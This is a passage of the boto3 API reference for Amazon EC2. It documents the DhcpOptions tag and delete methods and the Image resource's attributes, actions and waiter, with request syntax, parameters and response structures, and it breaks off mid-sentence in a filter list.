+create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = dhcp_options.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified set of DHCP options. You must disassociate the set of DHCP options before you can delete it. You can disassociate the set of DHCP options by associating either a new set of options or the default set of options with the VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteDhcpOptions) + +**Request Syntax** + +response = dhcp_options.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_dhcp_options()](#EC2.Client.describe_dhcp_options "EC2.Client.describe_dhcp_options") to update the attributes of the DhcpOptions resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +dhcp_options.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_dhcp_options()](#EC2.Client.describe_dhcp_options "EC2.Client.describe_dhcp_options") to update the attributes of the DhcpOptions resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +dhcp_options.reload() + +Returns + +None + +[Image](#id1239) +-------------------------------------------------------- + +_class_ EC2.Image(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Image: + +import boto3 + +ec2 = boto3.resource('ec2') +image = ec2.Image('id') + +Parameters + +**id** (_string_) -- The Image's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.Image.id "EC2.Image.id") + +These are the resource's available attributes: + +- [architecture](#EC2.Image.architecture "EC2.Image.architecture") +- [block_device_mappings](#EC2.Image.block_device_mappings "EC2.Image.block_device_mappings") +- [creation_date](#EC2.Image.creation_date "EC2.Image.creation_date") +- [description](#EC2.Image.description "EC2.Image.description") +- [ena_support](#EC2.Image.ena_support "EC2.Image.ena_support") +- [hypervisor](#EC2.Image.hypervisor "EC2.Image.hypervisor") +- [image_id](#EC2.Image.image_id "EC2.Image.image_id") +- [image_location](#EC2.Image.image_location "EC2.Image.image_location") +- [image_owner_alias](#EC2.Image.image_owner_alias "EC2.Image.image_owner_alias") +- [image_type](#EC2.Image.image_type "EC2.Image.image_type") +- [kernel_id](#EC2.Image.kernel_id "EC2.Image.kernel_id") +- [name](#EC2.Image.name "EC2.Image.name") +- [owner_id](#EC2.Image.owner_id "EC2.Image.owner_id") +- [platform](#EC2.Image.platform "EC2.Image.platform") +- [platform_details](#EC2.Image.platform_details "EC2.Image.platform_details") +- [product_codes](#EC2.Image.product_codes "EC2.Image.product_codes") +- [public](#EC2.Image.public "EC2.Image.public") +- [ramdisk_id](#EC2.Image.ramdisk_id "EC2.Image.ramdisk_id") +- [root_device_name](#EC2.Image.root_device_name "EC2.Image.root_device_name") +- [root_device_type](#EC2.Image.root_device_type "EC2.Image.root_device_type") +- [sriov_net_support](#EC2.Image.sriov_net_support "EC2.Image.sriov_net_support") +- [state](#EC2.Image.state "EC2.Image.state") +- [state_reason](#EC2.Image.state_reason "EC2.Image.state_reason") +- [tags](#EC2.Image.tags "EC2.Image.tags") +- [usage_operation](#EC2.Image.usage_operation "EC2.Image.usage_operation") +- [virtualization_type](#EC2.Image.virtualization_type "EC2.Image.virtualization_type") + +These are the resource's available actions: + +- [create_tags()](#EC2.Image.create_tags "EC2.Image.create_tags") +- [deregister()](#EC2.Image.deregister "EC2.Image.deregister") +- [describe_attribute()](#EC2.Image.describe_attribute "EC2.Image.describe_attribute") +- [get_available_subresources()](#EC2.Image.get_available_subresources "EC2.Image.get_available_subresources") +- [load()](#EC2.Image.load "EC2.Image.load") +- [modify_attribute()](#EC2.Image.modify_attribute "EC2.Image.modify_attribute") +- [reload()](#EC2.Image.reload "EC2.Image.reload") +- [reset_attribute()](#EC2.Image.reset_attribute "EC2.Image.reset_attribute") + +These are the resource's available waiters: + +- [wait_until_exists()](#EC2.Image.wait_until_exists "EC2.Image.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Image's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Image.load "EC2.Image.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +architecture + +- _(string) --_ + + The architecture of the image. + + +block_device_mappings + +- _(list) --_ + + Any block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + +creation_date + +- _(string) --_ + + The date and time the image was created. + + +description + +- _(string) --_ + + The description of the AMI that was provided during image creation. + + +ena_support + +- _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + +hypervisor + +- _(string) --_ + + The hypervisor type of the image. + + +image_id + +- _(string) --_ + + The ID of the AMI. + + +image_location + +- _(string) --_ + + The location of the AMI. + + +image_owner_alias + +- _(string) --_ + + The AWS account alias (for example, amazon , self ) or the AWS account ID of the AMI owner. + + +image_type + +- _(string) --_ + + The type of image. + + +kernel_id + +- _(string) --_ + + The kernel associated with the image, if any. Only applicable for machine images. + + +name + +- _(string) --_ + + The name of the AMI that was provided during image creation. + + +owner_id + +- _(string) --_ + + The AWS account ID of the image owner. + + +platform + +- _(string) --_ + + This value is set to windows for Windows AMIs; otherwise, it is blank. + + +platform_details + +- _(string) --_ + + The platform details associated with the billing code of the AMI. For more information, see [Obtaining Billing Information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +product_codes + +- _(list) --_ + + Any product codes associated with the AMI. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + +public + +- _(boolean) --_ + + Indicates whether the image has public launch permissions. The value is true if this image has public launch permissions or false if it has only implicit and explicit launch permissions. + + +ramdisk_id + +- _(string) --_ + + The RAM disk associated with the image, if any. Only applicable for machine images. + + +root_device_name + +- _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + +root_device_type + +- _(string) --_ + + The type of root device used by the AMI. The AMI can use an EBS volume or an instance store volume. + + +sriov_net_support + +- _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + +state + +- _(string) --_ + + The current state of the AMI. If the state is available , the image is successfully registered and can be used to launch an instance. + + +state_reason + +- _(dict) --_ + + The reason for the state change. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + +tags + +- _(list) --_ + + Any tags assigned to the image. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +usage_operation + +- _(string) --_ + + The operation of the Amazon EC2 instance and the billing code that is associated with the AMI. usageOperation corresponds to the [lineitem/Operation](https://docs.aws.amazon.com/cur/latest/userguide/Lineitem-columns.html#Lineitem-details-O-Operation) column on your AWS Cost and Usage Report and in the [AWS Price List API](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/price-changes.html) . For the list of UsageOperation codes, see [Platform Details and Usage Operation Billing Codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html#billing-info) in the _Amazon Elastic Compute Cloud User Guide_ . + + +virtualization_type + +- _(string) --_ + + The type of virtualization of the AMI. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = image.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +deregister(kwargs_) + +Deregisters the specified AMI. After you deregister an AMI, it can't be used to launch new instances; however, it doesn't affect any instances that you've already launched from the AMI. You'll continue to incur usage costs for those instances until you terminate them. + +When you deregister an Amazon EBS-backed AMI, it doesn't affect the snapshot that was created for the root volume of the instance during the AMI creation process. When you deregister an instance store-backed AMI, it doesn't affect the files that you uploaded to Amazon S3 when you created the AMI. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterImage) + +**Request Syntax** + +response = image.deregister( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified AMI. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImageAttribute) + +**Request Syntax** + +response = image.describe_attribute( + Attribute='description'|'kernel'|'ramdisk'|'launchPermission'|'productCodes'|'blockDeviceMapping'|'sriovNetSupport', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The AMI attribute. + + > **Note** : Depending on your account privileges, the blockDeviceMapping attribute may return a Client.AuthFailure error. If this happens, use DescribeImages to get information about the block device mapping for the AMI. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'ImageId': 'string', + 'LaunchPermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'Description': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'RamdiskId': { + 'Value': 'string' + }, + 'SriovNetSupport': { + 'Value': 'string' + } +} + +**Response Structure** + +- _(dict) --_ + + Describes an image attribute. + + - **BlockDeviceMappings** _(list) --_ + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + - **ImageId** _(string) --_ + + The ID of the AMI. + + - **LaunchPermissions** _(list) --_ + + The launch permissions. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + + - **ProductCodes** _(list) --_ + + The product codes. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **Description** _(dict) --_ + + A description for the AMI. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **KernelId** _(dict) --_ + + The kernel ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **RamdiskId** _(dict) --_ + + The RAM disk ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") to update the attributes of the Image resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +image.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified AMI. You can specify only one attribute at a time. You can use the Attribute parameter to specify the attribute or one of the following parameters: Description , LaunchPermission , or ProductCode . + +AWS Marketplace product codes cannot be modified. Images with an AWS Marketplace product code cannot be made public. + +To enable the SriovNetSupport enhanced networking attribute of an image, enable SriovNetSupport on an instance and create an AMI from the instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyImageAttribute) + +**Request Syntax** + +response = image.modify_attribute( + Attribute='string', + Description={ + 'Value': 'string' + }, + LaunchPermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + OperationType='add'|'remove', + ProductCodes=[ + 'string', + ], + UserGroups=[ + 'string', + ], + UserIds=[ + 'string', + ], + Value='string', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- The name of the attribute to modify. The valid values are description , launchPermission , and productCodes . +- **Description** (_dict_) -- + + A new description for the AMI. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **LaunchPermission** (_dict_) -- + + A new launch permission for the AMI. + + - **Add** _(list) --_ + + The AWS account ID to add to the list of launch permissions for the AMI. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + + - **Remove** _(list) --_ + + The AWS account ID to remove from the list of launch permissions for the AMI. + + - _(dict) --_ + + Describes a launch permission. + + - **Group** _(string) --_ + + The name of the group. + + - **UserId** _(string) --_ + + The AWS account ID. + +- **OperationType** (_string_) -- The operation type. This parameter can be used only when the Attribute parameter is launchPermission . +- **ProductCodes** (_list_) -- + + The DevPay product codes. After you add a product code to an AMI, it can't be removed. + + - _(string) --_ +- **UserGroups** (_list_) -- + + The user groups. This parameter can be used only when the Attribute parameter is launchPermission . + + - _(string) --_ +- **UserIds** (_list_) -- + + The AWS account IDs. This parameter can be used only when the Attribute parameter is launchPermission . + + - _(string) --_ +- **Value** (_string_) -- The value of the attribute being modified. This parameter can be used only when the Attribute parameter is description or productCodes . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") to update the attributes of the Image resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +image.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets an attribute of an AMI to its default value. + +Note + +The productCodes attribute can't be reset. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetImageAttribute) + +**Request Syntax** + +response = image.reset_attribute( + Attribute='launchPermission', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset (currently you can only reset the launch permission attribute). + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this Image is exists. This method calls EC2.Waiter.image_exists.wait() which polls. [EC2.Client.describe_images()](#EC2.Client.describe_images "EC2.Client.describe_images") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image.wait_until_exists( + ExecutableUsers=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + Owners=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **ExecutableUsers** (_list_) -- + + Scopes the images by users with explicit launch permissions. Specify an AWS account ID, self (the sender of the request), or all (public AMIs). + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - architecture - The image architecture (i386 | x86_64 | arm64 ). + - block-device-mapping.delete-on-termination - A Boolean value that indicates whether the Amazon EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.snapshot-id - The ID of the snapshot used for the EBS volume. + - block-device-mapping.volume-size - The volume size of the EBS volume, in GiB. + - block-device-mapping.volume-type - The volume type of the EBS volume (gp2 | io1 | io2 | st1 | sc1 | standard ). + - block-device-mapping.encrypted - A Boolean that indicates whether the EBS volume is encrypted. + - description - The description of the image (provided during image creation). + - ena-support - A Boolean that indicates whether enhanced networking with ENA is enabled. + - hypervisor - The hypervisor type (ovm | xen ). + - image-id - The ID of the image. + - image-type - The image type (machine | kernel | ramdisk ). + - is-public - A Boolean that indicates whether the image is public. + - kernel-id - The kernel ID. + - manifest-location - The location of the image manifest. + - name - The name of the AMI (provided during image creation). + - owner-alias - The owner alias, from an Amazon-maintained list (amazon | aws-marketplace ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - platform - The platform. To only list Windows-based AMIs, use windows . + - product-code - The product code. + - product-code.type - The type of the product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - state - The state of the image (available | pending | failed ). + - state-reason-code - The reason code for the state change. + - state-reason-message - The message for the state change. + - sriov-net-support - A value of simple indicates that enhanced networking with the Intel 82599 VF interface is enabled. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag 